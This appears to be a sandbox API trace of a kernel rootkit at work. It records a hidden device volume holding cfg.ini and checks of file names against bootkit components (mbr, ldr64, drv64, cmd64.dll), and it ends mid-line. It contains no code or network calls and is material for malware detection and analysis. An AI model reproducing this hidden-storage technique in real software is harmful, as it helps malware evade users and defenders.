[0120.282] KeEnterCriticalRegion () [0120.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.282] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.282] IdePortDispatch () returned 0x103 [0120.282] KeWaitForMutexObject () returned 0x0 [0120.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.282] KeLeaveCriticalRegion () [0120.282] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.282] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.282] KeEnterCriticalRegion () [0120.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.282] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003429000 [0120.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.282] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.282] IdePortDispatch () returned 0x103 [0120.282] KeWaitForMutexObject () returned 0x0 [0120.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.282] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.282] IdePortDispatch () returned 0x103 [0120.283] KeWaitForMutexObject () returned 0x0 [0120.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.283] KeLeaveCriticalRegion () [0120.283] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.283] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.283] KeEnterCriticalRegion () [0120.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.283] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.283] KeLeaveCriticalRegion () [0120.283] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.283] KeEnterCriticalRegion () [0120.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.283] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.283] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc8e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.284] KeLeaveCriticalRegion () [0120.284] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.284] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.284] KeEnterCriticalRegion () [0120.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.284] ExFreePoolWithTag (P=0xfffffa8003bbccb0, Tag=0x0) [0120.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.284] KeLeaveCriticalRegion () [0120.284] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.284] ReleaseMutex (hMutex=0xf0) returned 1 [0120.284] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.284] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.284] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.284] KeEnterCriticalRegion () [0120.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.284] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.284] IdePortDispatch () returned 0x103 [0120.284] KeWaitForMutexObject () returned 0x0 [0120.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.284] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.284] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.284] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.284] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.284] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1ec0 [0120.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.284] KeLeaveCriticalRegion () [0120.284] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.284] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.284] KeEnterCriticalRegion () [0120.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.284] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.284] KeLeaveCriticalRegion () [0120.285] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.285] KeEnterCriticalRegion () [0120.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.285] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.285] IdePortDispatch () returned 0x103 [0120.285] KeWaitForMutexObject () returned 0x0 [0120.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.285] KeLeaveCriticalRegion () [0120.285] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.285] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.285] KeEnterCriticalRegion () [0120.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.285] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800342a000 [0120.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.285] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.285] IdePortDispatch () returned 0x103 [0120.285] KeWaitForMutexObject () returned 0x0 [0120.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.285] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.285] IdePortDispatch () returned 0x103 [0120.286] KeWaitForMutexObject () returned 0x0 [0120.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.286] KeLeaveCriticalRegion () [0120.286] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.286] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.286] KeEnterCriticalRegion () [0120.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.286] KeLeaveCriticalRegion () [0120.286] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.286] KeEnterCriticalRegion () [0120.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.286] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.286] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.286] KeLeaveCriticalRegion () [0120.286] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.286] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.286] KeEnterCriticalRegion () [0120.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.286] ExFreePoolWithTag (P=0xfffffa80039d1ec0, Tag=0x0) [0120.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.287] KeLeaveCriticalRegion () [0120.287] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.287] ReleaseMutex (hMutex=0xf0) returned 1 [0120.287] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.287] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.287] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.287] KeEnterCriticalRegion () [0120.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.287] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.287] IdePortDispatch () returned 0x103 [0120.287] KeWaitForMutexObject () returned 0x0 [0120.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.287] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.287] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.287] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.287] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.287] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc20a0 [0120.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.287] KeLeaveCriticalRegion () [0120.287] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.287] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.287] KeEnterCriticalRegion () [0120.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.287] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.287] KeLeaveCriticalRegion () [0120.287] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.287] KeEnterCriticalRegion () [0120.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.287] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.287] IdePortDispatch () returned 0x103 [0120.288] KeWaitForMutexObject () returned 0x0 [0120.288] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.288] KeLeaveCriticalRegion () [0120.288] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.288] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.288] KeEnterCriticalRegion () [0120.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.288] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800342b000 [0120.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.288] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.288] IdePortDispatch () returned 0x103 [0120.288] KeWaitForMutexObject () returned 0x0 [0120.288] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.288] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.288] IdePortDispatch () returned 0x103 [0120.288] KeWaitForMutexObject () returned 0x0 [0120.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.289] KeLeaveCriticalRegion () [0120.289] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.289] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.289] KeEnterCriticalRegion () [0120.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.289] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.289] KeLeaveCriticalRegion () [0120.289] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.289] KeEnterCriticalRegion () [0120.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.289] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.289] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc22b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.289] KeLeaveCriticalRegion () [0120.289] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.289] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.289] KeEnterCriticalRegion () [0120.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.289] ExFreePoolWithTag (P=0xfffffa8003bc20a0, Tag=0x0) [0120.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.289] KeLeaveCriticalRegion () [0120.289] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.289] ReleaseMutex (hMutex=0xf0) returned 1 [0120.289] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.290] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.290] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.290] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.290] KeEnterCriticalRegion () [0120.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.290] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.290] IdePortDispatch () returned 0x103 [0120.290] KeWaitForMutexObject () returned 0x0 [0120.290] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.290] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.290] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.290] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.290] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.290] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.290] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.290] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.290] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.290] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.290] KeLeaveCriticalRegion () [0120.290] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.290] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.290] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.290] KeEnterCriticalRegion () [0120.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.290] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.290] IdePortDispatch () returned 0x103 [0120.291] KeWaitForMutexObject () returned 0x0 [0120.291] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.291] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.291] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.291] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.291] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.291] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.291] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.291] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.291] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.291] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.291] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.291] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.291] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.291] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.291] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.291] KeLeaveCriticalRegion () [0120.291] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.291] 